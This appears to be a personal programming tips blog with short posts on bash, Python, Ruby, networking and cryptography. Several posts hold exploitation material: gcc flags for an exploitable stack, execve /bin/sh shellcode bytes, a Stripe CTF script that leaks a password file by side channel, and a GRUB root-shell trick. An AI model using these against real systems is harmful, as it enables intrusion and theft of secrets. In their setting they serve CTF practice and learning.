gcc -m32                      
    -fno-stack-protector
    -zexecstack
    -mpreferred-stack-boundary=2
    -o foo foo.c

Posted on 30 Aug 2012

python tree

one-line tree in python

Brilliant:

from collections import defaultdict

def tree(): return defaultdict(tree)

https://gist.github.com/2012250

Posted on 19 Aug 2012

rails routes

restrict routes to an ip in rails

constraints :remote_ip => "127.0.0.1" do
      get '/restricted' => "root#restricted"
  end

"You can also constrain a route based on any method on the Request object that returns a String."

http://guides.rubyonrails.org/routing.html#request-based-constraints

Posted on 15 Aug 2012

sql

beginners guide to remembering sql queries

The easiest way to remember the general syntax for SQL queries is to remember the sequence of key words.

INSERT 
INTO
VALUES

SELECT
FROM
WHERE

UPDATE
SET 
WHERE

DELETE
FROM
WHERE

Posted on 02 Aug 2012

javascript

Posted on 15 Jun 2012

linux shellcode syscall

linux syscalls

Where are linux system calls defined?

If you are crafting your own shellcode, you often need to find the syscall numbers. Syscalls are usually defined in:

/usr/include/asm/unistd_32.h
/usr/include/asm/unistd_64.h

Posted on 03 Jun 2012

python twisted http twistd oneliner one-liner

python one-line ftp

So, while looking for a quick and easy FTP server analog to this popular Python trick:

$ python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

I found a Stackoverflow post that shows Twisted has a one line FTP and more:

$ twistd -n ftp

The -n option is for "nodaemon"; don't daemonize and run in the foreground.

Just looking at the options for twistd, it looks like you can also do port-forwarding, SOCKS tunneling, a HTTP server, a DNS server, and more.

http://twistedmatrix.com/trac/
http://stackoverflow.com/questions/4994638/one-line-ftp-server-in-python

Posted on 18 May 2012

mac screens productivity

Mac Screen Config

I haven't written a post in a long while, and this post isn't as short and sweet. I have grown to a level of productivity with my MacBook that I've never experienced elsewhere. Here is why and some of my configuration:

I use the command (⌘) key extensively, and it is this extra control key that makes me prefer my MacBook for coding and hacking about to my Linux desktop. (Linux is still closest to my heart.)

Why? I use the Terminal extensively. All day, every day. Copying and Pasting with ⌘ + c and ⌘ + v is much more natural and convenient than Ctrl+Shift+c and Ctrl+shift+v. You won't know how much you miss it until you switch back.

Next, I am absolutely attached to two features of Mac OS X screens that Linux simply doesn't have.

1. Click-and-hold window whilst changing screen.
2. Assigning an application to a specific screen.

I have 5 screens configured because that is the farthest my fingers reach with a thumb-middle-finger combo without any stretching or wrist movement, which brings me to my preferred key sequence for changing screens, Command (⌘) + N, where N is the number of the screen.

So, to make this more useful I assign certain applications to certain screens so that my desire or need for an application becomes mechanical like shifting gears:

⌘ + 1   --  Terminal, System Preferences
⌘ + 2   --  Text Editors (TextMate and TextEdit)
⌘ + 3   --  Browsers (Chrome, Firefox, Safari)
⌘ + 4   --  Mail and Chat clients (Adium)
⌘ + 5   --  Virtual Machines 

That's it, and it is magical.

Posted on 21 Apr 2012

linux iproute2 ifconfig route ip

iproute2

I was surprised to find out that ifconfig and route are actually deprecated, despite their ubiquity.

Even more unfortunate, their replacement, namely the ip command, doesn't seem to have any concern for the readability of its output.

Here is how you would statically assign an IP, Netmask, Gateway, and DNS servers with ifconfig and route and the equivalent commands in ip:

$ ifconfig eth0 up

$ ip link set eth0 up

Configure your IP and Netmask:

$ ifconfig eth0 192.168.1.3 netmask 255.255.255.0

$ ip addr add 192.168.1.3/24 dev eth0

Configure a route to your default Gateway:

$ route add default gw 192.168.1.1

$ ip route add default via 192.168.1.1

Posted on 18 Apr 2012

python ruby

argh, python!

Python's core data types are not only few, but barren. Ruby adds Ranges and Regexp (inline) and the abundance of methods provided for core data types is brilliant. Enumerable being the Mona Lisa.

For example, in such a high-level language, many operations that I would consider primitive require a deal of extra thought:
http://stackoverflow.com/questions/952914/making-a-flat-list-out-of-list-of-lists-in-python

Having to recode the same basic manipulations again, and again, and again becomes increasingly frustrating.

Posted on 08 Apr 2012

python logging ruby

less print

Excellent point:
http://inventwithpython.com/blog/2012/04/06/stop-using-print-for-debugging-a-5-minute-quickstart-guide-to-pythons-logging-module/

import logging

logging.basicConfig(level=logging.DEBUG, 
    format='%(asctime)s - %(levelname)s - %(message)s')


logging.debug('message')

In Ruby:
http://www.ruby-doc.org/stdlib-1.9.3/libdoc/logger/rdoc/Logger.html

require 'logger'

log = Logger.new(STDOUT)
log.level = Logger::WARN

log.debug("Created logger")
log.info("Program started")
log.warn("Nothing to do!")

Posted on 08 Apr 2012

ssh

Posted on 13 Mar 2012

comparison operator python

comparison operator

Python doesn't have the <=> comparison operator, but this is the equivalent:

(a > b) - (a < b)

http://docs.python.org/release/3.0.1/whatsnew/3.0.html

Posted on 09 Mar 2012

tshark

streams with tshark

Wiresharks command-line complement, tshark, is pretty handy in a jam. You can even extract stream numbers:

$ tshark -r dump.pcap -T fields -e tcp.stream

Using the stream numbers, you can be much more precise in your filters:

$ tshark -r dump.pcap -T fields -e text tcp.stream eq $stream

Posted on 07 Mar 2012

gdb

gdb show asm on break

Display a number of lines:

display /3i $pc

or

set disassemble-next-line on

http://stackoverflow.com/questions/1902901/show-current-instruction-in-gdb

Posted on 02 Mar 2012

cryptography ssh encryption

encrypt small files with ssh keys

Convert RSA public key and private key to PEM format:

$ openssl rsa -in ~/.ssh/id_rsa -outform pem > 
id_rsa.pem

$ openssl rsa -in ~/.ssh/id_rsa -pubout -outform pem >
id_rsa.pub.pem

Encrypting a file with your public key:

$ openssl rsautl -encrypt -pubin -inkey id_rsa.pub.pem \
-in file.txt -out file.enc

Decrypting the file with your private key:

$ openssl rsautl -decrypt -inkey id_rsa.pem \
-in file.enc -out file.txt

Of course, this is asymmetric encryption and your file must be less than or equal in size to your key!

Posted on 02 Mar 2012

bash regex

bash regex matching

Incredibly, Bash allows you to do regular expression comparisons with the =~ operator that Ruby and Perl use:

$ if [[ "foo" =~ f.* ]]; then
    echo match
  fi
 
match

http://tldp.org/LDP/abs/html/abs-guide.html#REGEXMATCHREF

Posted on 29 Feb 2012

ctf

level06 stripe ctf

#!/usr/bin/env bash

ulimit -f 1 # set file size limit to 1024 bytes

s=""
while true; do 
  for ((i=32; i < 127; i++)); do
    rm f o
    c=$(ruby -e "print ${i}.chr")
    t="${s}${c}..."
    echo "${t}"

    ruby -e "print 'A' * (1024-33-${#t}+3)" > f;
    /levels/level06 /home/the-flag/.password "${t}" 2>>f 1>o;

    sleep 0.1 # INCREASE LIBERALLY IF FALSE POSITIVES
   
    if [ ! -s o ]; then # if file o is empty
      s="${s}${c}"
      echo -n $c
      break
    fi
  done
done

Posted on 28 Feb 2012

bash escape

bash c-style escapes

$ echo $'hello\nworld'
hello
world

Posted on 26 Feb 2012

open mac osx linux

open

Mac OS X has an open command-line utility that I use extensively from the terminal. If ever I need to open a directory or any file with its default application, I just simply type open file and there is no need to open Finder and traverse to the directory.

# open a finder window in current directory
$ open . 

$ open http://google.com

$ open image.jpg

In Linux, you can get the same functionality with gnome-open:

# ~/.bash_profile
$ alias open=gnome-open

$ open http://segv.me

# open nautilus window in current directory
$ open .

man open
man gnome-open

Posted on 23 Feb 2012

ruby bitfield

ruby bitfield wrapper

value = 0b11010011
  
  bf = BitField.new(value, {:a => 0..5, :b => 6..7, :c => 8})
  
  # or
  
  bf = BitField.new(value) do |f|
     f.a = 0..3
     f.b = 4..7
  end

  puts bf.a.to_s(2)  
  # => 1101
  
  puts bf.b.to_s(2)
  # => 1000

  bf.b = 0b1010
  puts bf.b.to_s(2)
  # => 1010
require 'ostruct'

class BitField
  attr_reader :names
  
  def initialize(value=0, hash={})
    @value = value
    @names = hash.keys.map(&:to_s)
    @fields = OpenStruct.new(hash)
    yield(@fields) if block_given?
  end
  
  def method_missing(m, *args)
    mname = m.id2name
    if args.empty?
      get_bits(@fields.send(m))
    elsif mname.chomp!('=')
      set_bits(@fields.send(mname), args[0].to_i)
    end
  end
  
  def to_i
    @value
  end
  
  def to_hash
    h = {}
    @names.map do |n| 
      h[n.to_sym] = get_bits(@fields.send(n))
    end
    return h
  end
  
  private
  def get_bits(offset)
    bits = [*offset]
    mask = ((1 << bits.size) - 1) << bits.first
    (@value & mask) >> bits.first
  end
  
  def set_bits(offset, v) 
    bits = [*offset]
    mask = ((1 << bits.size) - 1) << bits.first
    clear = 0xffff ^ mask
    @value = (@value & clear) | ((v << bits.first) & mask)
  end
end

Posted on 20 Feb 2012

canonical

reduced to the simplest and most significant form possible without loss of generality

Posted on 19 Feb 2012

theory

theory highlights

"This discussion highlights an important difference between complexity theory and computability theory. In computability theory, the Church-Turing thesis implies that all reasonable models of computation are equivalent - that is, they all decide the same class of languages. In complexity theory, the choice of model affects the time complexity of languages. Languages that are decidable in, say, linear time on one model aren't necessarily decidable in linear time on another."

"The same language may have different time requirements on different models."

"We show that any language that is decidable on [a nondeterministic single-tape machine] is decidable on a deterministic single-tape Turing machine that requires significantly more time."

Thanks Sipser, when I'm not being tested on the subject your book is really quite swell.

So a NP problem only takes polynomial time on a nondeterministic Turing machine, which has infinite parallelism. Think NFA that splits each time it encounters multiple possible paths. Every NFA has an equivalent DFA; however, when that NFA is converted to an equivalent DFA the number of states may be exponential in the number of states in the NFA.

"First, note the dramatic difference between the growth rate of a typically occurring polynomials such as n3 and typically occurring exponentials such as 2n. For example, let n be 1000, the size of a reasonable input to an algorithm. In that case, n3 is 1 billion, a large but manageable number, whereas 2n is a number much larger than the number of atoms in the universe. Polynomial time algorithms are fast enough for many purposes, but exponential time algorithms rarely are useful."

http://abstrusegoose.com/a/206.htm
http://www-math.mit.edu/~sipser/book.html

Posted on 14 Feb 2012

ruby booleans

coercing expressions to booleans

In Ruby, you may need to coerce an expression to an explicit boolean value.

Don't:

b = defined?(foo) ? true : false

Do:

b = !!defined?(foo)

That is a double not (!) operator.

http://rubyrogues.com/032-rr-ruby-antipatterns/

Posted on 14 Feb 2012

ruby fiddle error

ruby fiddle 1.9.3

After watching Peter Cooper's Ruby Trick Shots I wanted to experiment with loading dynamic libraries in Ruby as he demoed.

Maddeningly, when I tried to require fiddle, Ruby was throwing a LoadError:

LoadError: cannot load such file -- fiddle

Digging into the RVM logs in ~/.rvm/log/ruby-1.9.3-p0, I found that when RVM compiled Ruby it failed to find the ffi.h header and subsequently did not install fiddle.

$ grep -A 2 fiddle ~/.rvm/log/ruby-1.9.3-p0/make.log 
configuring fiddle
<b>ffi.h is missing.</b> Please install libffi.
...

So, as usual this is a dependency problem and your solution is an apt-get away:

$ sudo apt-get install libffi5 libffi-dev

Now, I can finally run Peter's code:

#!/usr/bin/env ruby

require 'fiddle'

libc = DL.dlopen "libc.so.6"

f = Fiddle::Function.new(libc['strlen'],
                         [Fiddle::TYPE_VOIDP],
                         Fiddle::TYPE_INT)

p f.call("foo").to_i

http://rubyreloaded.com/trickshots/
http://rubydoc.info/stdlib/fiddle/frames

Posted on 14 Feb 2012

falsehoods

C:
0

PHP:
FALSE NULL 0 0.0 "" "0" array()	

Perl:
undef 0 0.0 "" "0" ()	

Python
False None 0 0.0 '' [] {}	

Ruby:
false nil

http://hyperpolyglot.org/scripting

Posted on 14 Feb 2012

html tabindex

tabindex

Hey Web Developers, how about when you add a login form to a page you ALWAYS add a tagindex attribute and make the username and password fields the first elements in the tabbing order.

The internet thanks you, KTHXBYE.

<p>
<label for="user">Username</label> <br />
<input name="user" tabindex="1" type="text" value="" />
</p>

<p>
<label for="pass">Password</label> <br />
<input name="pass" tabindex="2" type="password" value="" />
</p>

http://www.w3.org/TR/html4/interact/forms.html#adef-tabindex

Posted on 13 Feb 2012

ruby closure

closure, huh?

A closure is a block of code bound to its lexical environment, which is the set of variables in scope when the closure was created. This means that even after the variables have gone out of primary scope, the closure still has access to them.

def foo
  x, y = [1,2]
  p = proc do
    puts x
    x += 1
    puts y
    y += 1
  end

  return p
end

def bar(p)
  x = "a"
  y = "b"
  p.call
  p.call
end


p = foo()
bar(p)
bar(p)

# 1
# 2
# 2
# 3
# 3
# 4
# 4
# 5

A set is closed under an operation iff the operation produces another element of the set. A closure is closed over its variables.

Keep in mind that the variables are closed but not isolated in Ruby. A reference is kept to the variables for the closure so changes can be made to contents of the variables outside of the context of the closure while they are still in scope.

ANONYMOUS FUNCTION : LITERAL :: CLOSURE : VALUE
Anonymous functions don't have to be bound to their lexical environment, but in many languages anonymous functions are the mechanism for creating closures.

http://www.ruby-doc.org/core-1.9.3/Proc.html http://en.wikipedia.org/wiki/Closure_(mathematics) http://en.wikipedia.org/wiki/Closure_(computer_science)

Posted on 30 Jan 2012

ruby python interactive

drop into an interactive interpreter from a script

Twice this weekend I've found that I would like to drop from a script into the interactive prompt and have the environment and context available to debug and test. Once in Ruby and once in Python.

I do most active development with an interpreter open, but copying and pasting into the interpreter quickly becomes tedious.

import pdb
# ...
pdb.set_trace()

require 'rubygems'
require 'ruby-debug'
# ...
debugger

I will certainly be using these extensively at the very least to test my data-structures.

Update 2012-10-11
Alternative with Pry,

require 'pry'
# ...
binding.pry

http://stackoverflow.com/questions/2158097/drop-into-python-interpreter-while-executing-function
http://stackoverflow.com/questions/1144560/how-do-i-drop-to-the-irb-prompt-from-a-running-script

Posted on 30 Jan 2012

python zip unzip splat unpacking

Python unzip idiom

The *splat operator is commonly used to unzip arrays in Python:

>>> a = [1,2,3]

>>> b = [4,5,6]

>>> zip(a,b)
[(1, 4), (2, 5), (3, 6)]

>>> zip(*_)
[(1, 2, 3), (4, 5, 6)]

I've included another trick, the _ (underscore) is a shortcut in the interactive interpreter for the last returned value, which works in irb too and likely many others.

Posted on 29 Jan 2012

ruby xor

xor

Note to self, stop rewriting these functions, you already have them:

# xor string str with string ciph
def xor(str, ciph)
  m = (str.size.to_f / ciph.size).ceil
  z = str.bytes.zip((ciph * m).bytes)
  z.map { |a| (a[0] ^ a[1]).chr }.join
end

# xor each byte in string str with byte
def xor_each(str, byte)
  str.each_byte.map { |c| (c ^ byte).chr }.join
end
xor("aaa", "\x01\x01\x01")
 => "```" 

xor_each("aaa", 0x01)
 => "```" 

Posted on 28 Jan 2012

http auth curl wget

quick basic auth

I often go for the man when I wget or curl something from a site with basic auth and completely forget I can do this:

curl http://USER:PASSWORD@segv.me/some/basic/auth/protected/file

Just a little faster on the draw.

Posted on 28 Jan 2012

hexdump in C

Code review time, here is a hexdump function I use often for early stage development and debugging:

void hexdump(const u_char *buf, const u_int len)
{
  u_int i, j;

  for (i = 0; i < len; i+=16)
  {
    printf("%04x  ", i);

    for(j = 0; j < 16; j++)
    {
      if ((i + j) < len)
        printf("%02X", buf[i+j]);
      else
        printf("  ");
    }

    printf("  ");

    for (j = 0; j < 16 && (j+i) < len; j++)
    {
      if (isprint(buf[i+j]))
        printf("%c", buf[i+j]);
      else
        printf(".");
    }

    printf("\n");
  }
}

Sample output:

0000  CC7D3718FBBCE091F59D84C608004500 .}7...........E.
0010  003456E740004006F6EDC0A8000D4504 .4V.@.@.......E.
0020  E73588CE005032F40813CE69C2088010 .5...P2....i....
0030  024FED1500000101080A0937A1240198 .O.........7.$..
0040  3F30                             ?0..............

Posted on 27 Jan 2012

search replace bash arguments

search and replace continued

As an extension of Recycling Arguments and the previous post on search and replace using Sed, I would like to show two Bash features for search in replace in previous commands:

Replace the first instance of foo in the previous command with bar:

$ cat foo
$ ^foo^bar
cat bar
OR
$ cat foo
$ !!:s/foo/bar

As you can see the second example uses the word designator with a syntax similar to that of Sed. However, one difference is that if you'd like to do a 'global' replace, you'll need to use the following syntax:

$ cat /home/foo/a /home/foo/b
$ !!:gs/foo/bar

Posted on 24 Jan 2012

bash string length

string length in bash

$ foo=bar
$ echo ${#foo}
  3

Posted on 23 Jan 2012

search replace sed basics

search and replace

Back to basics. Search and replace in Sed uses a common syntax:

s/regexp/replacement/

$ sed 's/foo/bar/' file > new-file

However, that will only replace the first occurrence of foo per each line. If you would like to replace each instance of foo with bar, you'll need to add the g parameter:

$ sed 's/foo/bar/g' file > new-file

Again, you may want to modify the file in-place, which can be done easily with the -i option:

$ sed -i 's/foo/bar/g' file

Posted on 16 Jan 2012

ruby constantize

ruby string.to_class

class String
  def to_class
    Kernel.const_get(self)
  end
end
ruby-1.8.7-p352 :012 > "Integer".to_class
 => Integer 

Posted on 13 Jan 2012

ruby argf shuffle one-liner

shuffle lines

Using Ruby's special stream, ARGF, shuffling the lines in a file is trivial:

$ cat foo.txt | 
ruby -e "puts ARGF.readlines.collect.shuffle rescue Errno::EPIPE"

Posted on 13 Jan 2012

bash uptime variables

shell uptime

Bash has many reserved variables, but one of the most fun for screen junkies is the $SECONDS variable, which displays "the number of seconds since the shell was started".

$ echo $SECONDS
2012339

$ echo $(($SECONDS/60)) minutes
33541 minutes

$ echo $(($SECONDS/60/60)) hours
559 hours

$ echo $(($SECONDS/60/60/24)) days 
23 days

http://tldp.org/LDP/Bash-Beginners-Guide/html/sect_03_02.html

Posted on 13 Jan 2012

bash extglob wildcards shopt globbing

bash extglob

Bash has many advanced features that may not be enabled by default, and as an avid wildcard wielder I find extglob especially useful.

I use inverse pattern matching most frequently, for example:

$ ls
bar     baz     foo.jpg     quux
                   ^
$ ls !(*.jpg)
bar  baz  quux

To enable extglob, simply run:

$ shopt -s extglob
  If the extglob shell option is enabled using the shopt builtin, several extended  pattern  matching  operators are recognized.  In the following description, a pattern-list is a list of one or more patterns separated by a |.  

Composite patterns may be formed using one or more of the following sub-patterns:

       ?(pattern-list)
              Matches zero or one occurrence of the given pattern               
       *(pattern-list)
              Matches zero or more occurrences of the given patterns
       +(pattern-list)
              Matches one or more occurrences of the given patterns
       @(pattern-list)
              Matches one of the given patterns
       !(pattern-list)
              Matches anything except one of the given patterns

Posted on 12 Jan 2012

python sockets fork child signals

python child reaping

When creating the "hello world" of socket programming, a forking echo server/client, programmers often forget to reap child processes.

Interestingly, Wikipedia has a table of code for automatically reaping children in several different languages.

In Python it is rather simple using the standard SIG_IGN handler:

signal.signal(signal.SIGCHLD, signal.SIG_IGN)

http://docs.python.org/library/signal.html
http://en.wikipedia.org/wiki/SIGCHLD

Posted on 12 Jan 2012

hex hexdump shellcode

hexdump

Often, when developing shellcode you'll want to dump a file in the backslash hex notation (e.g. \x0A), but hexdump by default outputs input offset, space delimited hex, and ascii representations:

$ hexdump -C shellcode
00000000  31 c0 31 db 31 c9 99 b0  a4 cd 80 6a 0b 58 51 68  |1.1.1......j.XQh|
00000010  2f 2f 73 68 68 2f 62 69  6e 89 e3 51 89 e2 53 89  |//shh/bin..Q..S.|
00000020  e1 cd 80                                          |...|
00000023

Fortunately, hexdump is feature-rich and allows you to specify format strings, iteration, and step:

$ hexdump -v -e '"\\\x" 1/1 "%02x"' shellcode
\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80

1/1 represents the iteration-count/byte-count, that is, how many times we want to iterate over the input and how large each chunk of the input will be.

Posted on 11 Jan 2012

vm virtualbox subnet ip masquerading iptables

IP masquerading

Not long ago, I found myself in need of a subnet of virtual machines. Using VirtualBox I configured a number of VMs with Internal Network interfaces and a gateway VM with two interfaces - one Internal Network interface and one NAT interface.

It isn't the first time I needed to configure a Linux box as a gateway, but I always forget how to configure IP masquerading. So, needless to say I'm taking note of it here:

1. Configure the external interface:

$ ifconfig eth0 10.0.0.2 netmask 255.255.255.0 
  $ echo "nameserver 8.8.8.8" > /etc/resolv.conf
 
  # or for dhcp
  $ dhclient eth0

2. Configure the internal interface:

$ ifconfig eth1 192.168.0.1 netmask 255.255.255.0

3. Configure iptables:

$ iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE

4. Enable ip_forwarding:

$ echo 1 > /proc/sys/net/ipv4/ip_forward

or configure it in /etc/sysctl.conf, which will persist after reboot.

Obviously, depending on your distro, your interface configuration, etcetera, etcetera, you will have to adjust.

Posted on 10 Jan 2012

python dynamic programming memoization

Posted on 04 Jan 2012

ls list

list

man lsusb
man lspci
man lshw
man lsof

Posted on 03 Jan 2012

bash tcp sockets

bash tcp connections

Bash, if compiled accordingly, has pseudo-device files that allow you to open TCP connections:


 $ # /dev/tcp/$host/$port
 $ echo foo > /dev/tcp/127.0.0.1/57005

Of course, nc is a more functional alternative, but this is an interesting bash feature nonetheless.

http://tldp.org/LDP/abs/html/devref1.html

Posted on 21 Dec 2011

grub single-user

single user boot for grub 2

Ubuntu changed to grub 2 and I often find myself looking up how to finagle my way into a single user shell.


Step 1.
   Hold the right shift to display the grub menu at boot time.

Step 2.
   Select the correct kernel, press CTRL+e to edit the boot command.

Step 3.
   Append the two directives   Single init=/bin/bash 

Step 4.
   Press CTRL+x to boot and wait for the root prompt.

Step 5.
   Remount / as read/write with the command:
     # mount -o remount,rw /

When you are finished, issue a reboot -f unless you are fond of kernel panics.

*YMMV

Posted on 21 Dec 2011

fsck

fsck on startup

Easiest way I've seen to force fsck on the next boot:

sudo touch /forcefsck

That easy, thanks cyberciti.biz.
http://www.cyberciti.biz/faq/linux-force-fsck-on-the-next-reboot-or-boot-sequence/

Posted on 13 Dec 2011

links

Posted on 12 Dec 2011

ssh

SSH config

OpenSSH allows you to add configuration directives to ~/.ssh/config with aliases for long hostnames or IP addresses:

cat << EOF >> ~/.ssh/config
Host segv                     # desired alias
    HostName segv.me          # ip address works too
    Port 22
    User foo
    LocalForward localhost:57005 192.168.0.2:57005
    IdentityFile ~/.ssh/auxiliary_rsa
EOF

This solution is better than using /etc/hosts for obvious reasons. There are a great number of options that allow you choose everything from username to encryption cipher preferences on a host-by-host basis.

man ssh_config

I've added a nasty little bashism too, as a bonus. http://tldp.org/LDP/abs/html/here-docs.html

Posted on 11 Dec 2011

python splat unpacking arguments

* splat

Python has a seldom used unary operator that lets you "flatten" lists and dictionaries into function arguments.

def foo(a, b, c):
  print a, b ,c

>>> li = [1, 2 ,3]
>>> foo(*li)
1 2 3

The * operator converts a dictionary to keyword arguments:

def foo(bar=None, baz=None, quux=None):
  print bar, baz, quux

>>> d = {"bar":1, "baz":2, "quux":3}
>>> foo(**d)
1 2 3

Simple, but useful.

http://docs.python.org/tutorial/controlflow.html#unpacking-argument-lists

Posted on 10 Dec 2011

ruby rails time

Time.now.to_s(:magic)

Many Rails developers default to strftime for converting their dates to appropriate strings.
However, Rails has the often overlooked time conversion extensions which are must faster on the draw:

> t = Time.now
 => Sat Dec 10 11:14:04 -0500 2011 

 > t.to_s(:db)
 => "2011-12-10 11:14:04" 
 
 > t.to_s(:time)
 => "11:14" 

 > t.to_s(:short)
 => "10 Dec 11:14" 
 
 > t.to_s(:number)
 => "20111210111404"

To see a complete listing of the formats look no further than Time::DATE_FORMATS.

Posted on 09 Dec 2011

links

Linkage

I find this incredibly helpful: http://hyperpolyglot.org/scripting

Posted on 09 Dec 2011

bash arguments

Recycle Arguments

Ok, so last post was a bit heavy. How about some more bash. So, thanks to sudo the !! word designator has become very popular:

$ apache2ctl restart
Permission denied: ...

$ sudo !!
sudo apache2ctl restart

Very cool, but you can also reuse arguments with the !! word designator:


$ cp /home/user/some/really/long/path /home/user/foo

$ ls -lha !!:1
ls -lha /home/user/some/really/long/path

So this !!:n lets you grab the nth argument, which is cool.

You can even select ranges:


$ cp /home/user/some/really/long/path /home/user/foo

$ md5sum !!:1-2
md5sum /home/user/some/really/long/path /home/user/foo

You can also use the asterisk to select all the arguments, but not the command:

$ ls /home /

$ ls -l !!:*
ls -l /home /

Anyways, there are quite a few other options so check out the docs: http://www.gnu.org/software/bash/manual/bashref.html#Word-Designators

Posted on 08 Dec 2011

cryptography modes of operation

Modes of Operation

Knowing which encryption algorithm was used is one thing, but knowing how they used it is another.

Here are 5 of the 9 NIST approved block cipher modes of operation:

Electronic Codebook (ECB)
Simplest of encryption modes.
Encrypts each block Bi independently.

    Encryption:

    Ci = Ek(Bi)

    Ci: ciphertext block i
    Ek: block encryption algorithm
    Bi: plaintext block i

    Decryption:

    Bi = Dk(Ci)

    Dk: decryption algorithm

Cipher-Block Chaining Mode (CBC)
Avoids patterns.
First plaintext block is xor'd with an initialization vector.
Each block thereafter is xor'd with the previous ciphertext block before being encrypted.

    Encryption:

    Ci = Ek(Bi xor Ci-1)

    C0: initialization vector
 
    Decryption:

    Bi = Dk(Ci) xor Ci-1
    
    C0: must be the same initialization vector

Cipher Feedback Mode (CFB)
Similiar to CBC, Bi involves Ci-1.
May be faster than CBC depending on block cipher.

    Encryption:

    Ci = Ek(Ci-1) xor Bi
 
    Decryption:

    Bi = Ek(Ci - 1) xor Ci

Output Feedback Mode (OFB)
Generates sequence of vectors V, where V0 is the initialization vector.
Block operations can be performed in parallel after vectors are are computed.

    Vectors:

    Vi: Ek(Vi-1)

    Encryption:

    Ci = Vi xor Bi
 
    Decryption:

    Bi = Vi xor Ci

Counter Mode (CTR)
Vector generation and encryption or decryption can all be done in parallel.
Start with a random seed, s, and compute offset vectors independently.

    Vectors:

    Vi: Ek(s + i - 1)

    s: random seed

    Encryption:

    Ci = Vi xor Bi
 
    Decryption:

    Bi = Vi xor Ci

http://csrc.nist.gov/groups/ST/toolkit/BCM/index.html http://en.wikipedia.org/wiki/Block_cipher_modes_of_operation

Posted on 07 Dec 2011

vim sudo

Doh! I forgot to sudo.

I often forget to sudo vim. I make significant changes to the file just to find out that I don't have permissions to save the file. Well, now that I've memorized this little gem it doesn't matter:

:w! sudo tee %

The % is a shortcut for the filename. You are really just piping the output through tee to the file - effectively overwriting the contents. Ta-dah!

Posted on 06 Dec 2011

readline

Readline Shortcuts

I love bash.
I really really love bash, and I use it all the time. Because I use it all the time, I've taken a liking to a few readline shortcuts. Readline is a GNU library bash uses which "allows users to edit command lines as they are typed in." Actually, you can thank readline for the handy history and tab auto-completion functionality.

CTRL + w	delete previous word
CTRL + e	jump to end of line
CTRL + a	jump to the beginning of line
CTRL + u	delete entire line before cursor
CTRL + k	delete entire line after cursor
CTRL + y	restore previously deleted word,line,etc.
CTRL + l	clear the screen

http://cnswww.cns.cwru.edu/php/chet/readline/rltop.html

Posted on 05 Dec 2011

strlen

slippy, do a barrel roll

Stumbled upon this in a stackoverflow answer. Naive C programmers write this sort of loop:

for (int cnt=0; cnt < strlen(s) ; cnt++) {
  /* some code */
}

That's an O(n2) algorithm because of the implementation of strlen().

Even though I know strlen is implemented very efficiently, let's not do this.

http://stackoverflow.com/questions/111426/did-you-apply-computational-complexity-theory-in-real-life/111861#111861

Posted on 04 Dec 2011

bash substring

Substrings in Bash

Bash has many useful string operations that I'll post about in the future, but for now I want to introduce parameter substitution and substring extraction.
So, variables in bash are referenced by name and a $ prefix (e.g. $foo).
A more explicit way of referencing $foo is to use curly braces to delimit your variable name and any subsequent characters, ${foo}.
This eliminates any ambiguity but is also the syntax for doing more advanced string operations.
Substrings
${variable:position:length}

$ s="hello govna"

$ echo ${s:1}
ello govna

$ echo ${s:1:4}
ello

http://tldp.org/LDP/abs/html/parameter-substitution.html

Posted on 03 Dec 2011

python binary format

Binary in Python

Somehow, I often find myself wanting the binary representation of an integer.
Well, Python of course has the builtin bin function, but the output always begins with a pesky 0b.
Furthermore, bin doesn't support padding the binary to a certain length (e.g. 8 bits). So, I use string format:

>>> bin(63)
'0b111111'

>>> '{0:08b}'.format(63)
'00111111'

Just for fun, here is a somewhat comical and more complicated example for converting an ascii string to binary:

>>> s = "foo"
>>> ("{:08b}"*len(s)).format(*map(ord,s))
'011001100110111101101111'

Format has many more features and reminds me of printf in some ways. I highly recommend checking out the documentation.
http://docs.python.org/library/string.html#format-specification-mini-language

Posted on 03 Dec 2011

Greetings

Welcome to another blog. I don't plan on doing much design. I would simply like to post snippets of code, tips, and tricks for the benefit of the community and for review and criticism.

Posted on 03 Dec 2011

lorem ipsum dolor

Lorem Ipsum Dolor

Praesent dapibus, neque id cursus faucibus, tortor neque egestas augue, eu vulputate magna eros eu erat. Aliquam erat volutpat. Nam dui mi, tincidunt quis, accumsan porttitor, facilisis luctus, metus. Phasellus ultrices nulla quis nibh. Quisque a lectus. Donec consectetuer ligula vulputate sem tristique cursus. Nam nulla quam, gravida non, commodo a, sodales sit amet, nisi. Pellentesque fermentum dolor. Aliquam quam lectus, facilisis auctor, ultrices ut, elementum vulputate, nunc. lorem2.com